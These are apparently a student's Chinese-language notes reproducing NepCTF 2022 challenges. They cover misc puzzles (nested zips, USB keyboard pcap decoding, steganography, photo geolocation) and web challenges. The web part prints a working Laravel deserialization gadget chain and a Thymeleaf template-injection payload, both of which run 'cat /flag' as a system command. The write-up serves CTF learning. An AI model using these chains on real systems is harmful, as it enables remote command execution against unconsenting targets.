技术内容 / 本科的一些学习笔记和wp / nepCTF2022复现
nepCTF2022复现
📎23-XINO-QQ_1289288682.pdf孔爷的wp
📎NepCTF2022WP-shengha0.pdf星爷的wp
misc
花花画画画花花
解压得到一个王心凌的歌,是osu!的谱面
导入osu开个不会fail的模式读谱即可
网上找到游戏下载下来,打了两把发现自己的手是真的残
看了星爷wp才知道原来开简单模式不会寄(),对着回放打完拿到flag
签到题
极限套娃,换过一次压缩包
解压缩包套娃,没有密码
参考贝塔师傅的脚本(yyds)
#coding=utf-8
import os
import zipfile
orginal_zip = "Untitled1.zip"
while True:
tag = orginal_zip
orginal_zip = zipfile.ZipFile(orginal_zip)
print tag
zipname = orginal_zip.namelist()[0]
try:
orginal_zip.extract(zipname)
print tag
except:
break
if(len(tag)>5):
os.system("rm "+tag)
orginal_zip = zipname
解到最后得到1.zip
里面有一个显示加密的流量包,发现为伪加密,将deFlags从05改成00即可解压
是一个键盘流量,先把流量提出来
解到最后得到1.zip
里面有一个显示加密的流量包发现为伪加密将deFlags从05改成00即可解压
一个键盘流量,先把流量提出来
tshark -r keyboard.pcap -T fields -e usbhid.data >usb.tx
然后用这个脚本
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g",
"0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w",
"1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5",
"23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>",
"2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"
<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"
<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"
<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G",
"0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W",
"1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%",
"23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>",
"2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"
<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"
<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"
<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
nums = []
keys = open('usb.txt')
for line in keys:
if len(line)!=17:
continue
nums.append(line[0:2]+line[4:6]) #取一、三字节
keys.close()
output = ""
for n in nums:
if n[2:4] == "00" :
continue
if n[2:4] in normalKeys:
if n[0:2]=="02":
output += shiftKeys [n[2:4]]
else :
output += normalKeys [n[2:4]]
else:
output += '[unknown]'
print('output :n' + output
不知道什么原因多出一个w,删一下
nepctf{welcome-to-nepctf-2nd}
少见的bbbbase
β - AS
少见的bbbbase
看星爷的wp要用jphide
stegdetect检测
用jphs5解文件
得到文件打开为一串base58KkYWdvCQcLYewSUUy5TtQc9AMa
解base58得到flag
flag{Real_qiandao~}
9点直播
Author
~各位同学,比赛已经开始将近十个小时啦,大家玩的如何呢?邀请大家9点来直播间聊聊天~请锁定https://
b23.tv/bn0pPAR
这边小助手收到了大家想暴打出题人的反馈,今晚9点我们请到了变态的出题人们,在直播间和大家交流,放
出我们的hint,帮助大家解题。
同时也会在直播间中抽幸运的小伙伴送出我们的周边礼品。
直播间得flag
馅饼?陷阱!
Zuni
好兄弟中奖了,但是要先汇款。他去哪了?
NepCTF{银行官网网址}
第二张图里能看到车牌号是琼,缩小范围到海南
搜索 东北饺子城 海南
地图上搜一搜,看一下全景可以找到与图片相符的建筑
可以看出是光大银行,搜一下官网即可
flag{cebbank.com}
web
Just Kidding
Author:H3h3QAQ
顽皮的HRP用Laravel写了个项目来欢迎大伙来玩Nepctf 2nd,没想到...居然被坏蛋Sharun撅了
能扫出来几个目录和备份文件
根据备份中Laravel版本9.20可以找到一个最新的洞Laravel 9.18反序列化命令执行
然后去搜hello能找到hello的文件位置可以得到他的参为h3
LAVAREL 9.1.8的反序列化链子 https://xz.aliyun.com/t/11362
应该大多数poc都可以打通 在hello下面传参就行
构造一条链子传到h3就行
链子
<?php
namespace Faker {
class Generator {
protected $providers = [];
protected $formatters = [];
function __construct() {
$this->formatter = "dispatch";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Broadcasting {
class PendingBroadcast {
public function __construct() {
$this->event = "cat /flag";
$this->events = new \Faker\Generator();
}
}
}
namespace Symfony\Component\Mime\Part {
abstract class AbstractPart {
private $headers = null;
}
class SMimePart extends AbstractPart {
protected $_headers;
public $h3rmesk1t;
function __construct() {
$this->_headers = ["dispatch"=>"system"];
$this->h3rmesk1t = new \Illuminate\Broadcasting\PendingBroadcast();
}
}
}
namespace {
$pop = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}
?>
NepCTF{2a815677-a04d-47eb-b1ba-acbbe1eaf247}
Challenger
Author
顽皮的HRP又换了种语言写项目来欢迎大家,没想到又让Sharun掘了😭
(flag在根目录下: /flag)
题目提供了源码
可以知道框架为thymeleaf
网上找的一篇复现教程
https://zhuanlan.zhihu.com/p/248416919
然后可以找到入口点路径为eval
直接套用payload打
/eval?
lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag
%22).getInputStream()).next()%7d__::